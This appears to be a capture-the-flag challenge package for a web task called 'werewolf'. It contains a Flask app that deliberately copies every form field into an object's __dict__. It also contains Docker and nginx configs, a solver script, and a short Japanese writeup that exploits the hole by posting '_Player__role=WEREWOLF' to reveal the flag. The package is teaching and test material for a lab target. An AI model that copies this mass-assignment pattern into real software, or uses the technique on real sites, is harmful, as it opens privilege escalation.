53 | -------------------------------------------------------------------------------- /web/werewolf/build/app/templates/result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Werewolf 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 |
16 |

17 | Werewolf 18 |

19 |
20 |
21 |
22 | 23 |
24 |
25 |
26 |
27 |

28 | {{ name }}, you are 29 | 30 | {{ role }} 31 | 32 | . 33 |

34 | {% if role == 'WEREWOLF' %} 35 |

{{ flag }}

36 | {% else %} 37 |

You could not be a werewolf... try again!

38 | {% endif %} 39 | 40 |
41 |
42 |
43 |
44 | -------------------------------------------------------------------------------- /web/werewolf/build/app/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app:app 3 | uid = 1000 4 | gid = 1000 5 | socket = 0.0.0.0:5000 6 | workers = 4 7 | threads = 4 8 | harakiri = 5 9 | master = true 10 | -------------------------------------------------------------------------------- /web/werewolf/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | app: 5 | build: 6 | context: app 7 | dockerfile: Dockerfile 8 | env_file: .env 9 | environment: 10 | TZ: "Asia/Tokyo" 11 | networks: 12 | - werewolf 13 | restart: always 14 | nginx: 15 | image: nginx:alpine 16 | restart: always 17 | ports: 18 | - "80:80" 19 | volumes: 20 | - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro 21 | networks: 22 | - werewolf 23 | 24 | networks: 25 | werewolf: 26 | -------------------------------------------------------------------------------- /web/werewolf/build/nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; 2 | worker_processes auto; 3 | pid /run/nginx.pid; 4 | worker_rlimit_nofile 20000; 5 | 6 | events { 7 | worker_connections 4096; 8 | multi_accept on; 9 | use epoll; 10 | } 11 | 12 | http { 13 | # we use kataribe 14 | log_format with_time '$remote_addr - $remote_user [$time_local] ' 15 | '"$request" $status $body_bytes_sent ' 16 | '"$http_referer" "$http_user_agent" $request_time'; 17 | access_log /var/log/nginx/access.log with_time; 18 | error_log /var/log/nginx/error.log warn; 19 | 20 | sendfile on; 21 | tcp_nopush on; 22 | tcp_nodelay on; 23 | types_hash_max_size 2048; 24 | server_tokens off; 25 | 26 | include /etc/nginx/mime.types; 27 | default_type application/octet-stream; 28 | 29 | server { 30 | listen 80 default_server; 31 | 32 | server_name _; 33 | 34 | location / { 35 | include uwsgi_params; 36 | uwsgi_pass app:5000; 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /web/werewolf/files/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | from flask import Flask, render_template, request, session 4 | 5 | # ==================== 6 | 7 | app = Flask(__name__) 8 | app.FLAG = os.getenv("CTF4B_FLAG") 9 | 10 | # ==================== 11 | 12 | class Player: 13 | def __init__(self): 14 | self.name = None 15 | self.color = None 16 | self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN']) 17 | # :-) 18 | # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF']) 19 | 20 | @property 21 | def role(self): 22 | return self.__role 23 | 24 | # :-) 25 | # @role.setter 26 | # def role(self, role): 27 | # self.__role = role 28 | 29 | 30 | # ==================== 31 | 32 | @app.route("/", methods=["GET", "POST"]) 33 | def index(): 34 | if request.method == 'GET': 35 | return render_template('index.html') 36 | 37 | if request.method == 'POST': 38 | player = Player() 39 | 40 | for k, v in request.form.items(): 41 | player.__dict__[k] = v 42 | 43 | return render_template('result.html', 44 | name=player.name, 45 | color=player.color, 46 | role=player.role, 47 | flag=app.FLAG if player.role == 'WEREWOLF' else '' 48 | ) 49 | 50 | # ==================== 51 | 52 | if __name__ == '__main__': 53 | app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT")) -------------------------------------------------------------------------------- /web/werewolf/solver/.env: -------------------------------------------------------------------------------- 1 | CTF4B_HOST=0.0.0.0 2 | CTF4B_PORT=10001 -------------------------------------------------------------------------------- /web/werewolf/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ENV CTF4B_HOST=0.0.0.0 4 | ENV CTF4B_PORT=80 5 | 6 | RUN pip install requests beautifulsoup4 7 | 8 | COPY ./solver.py /solver.py 9 | 10 | CMD ["python", "/solver.py"] -------------------------------------------------------------------------------- /web/werewolf/solver/solver.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | 4 | import requests 5 | from bs4 import BeautifulSoup 6 | 7 | 8 | def main(): 9 | response = requests.post( 10 | f"https://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}/", 11 | { 12 | "name": "ctf4b", 13 | "color": "red", 14 | "_Player__role": "WEREWOLF" 15 | } 16 | ) 17 | soup = BeautifulSoup(response.text, "html.parser") 18 | print(f"[*] FLAG: {soup.select('#flag')[0].text}") 19 | 20 | 21 | if __name__ == '__main__': 22 | main() 23 | -------------------------------------------------------------------------------- /web/werewolf/writeup.md: -------------------------------------------------------------------------------- 1 | Mass assignment があるので、`_Player__role=WEREWOLF` をリクエストボディに追加して POST すれば `Player.role` を無理やり `WEREWOLF` に出来る。 2 | 3 | ```python 4 | import os 5 | import time 6 | 7 | import requests 8 | from bs4 import BeautifulSoup 9 | 10 | 11 | def main(): 12 | response = requests.post( 13 | f"http://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}/", 14 | { 15 | "name": "ctf4b", 16 | "color": "red", 17 | "_Player__role": "WEREWOLF" 18 | } 19 | ) 20 | soup = BeautifulSoup(response.text, "html.parser") 21 | print(f"[*] FLAG: {soup.select('#flag')[0].text}") 22 | 23 | 24 | if __name__ == '__main__': 25 | main() 26 | ``` --------------------------------------------------------------------------------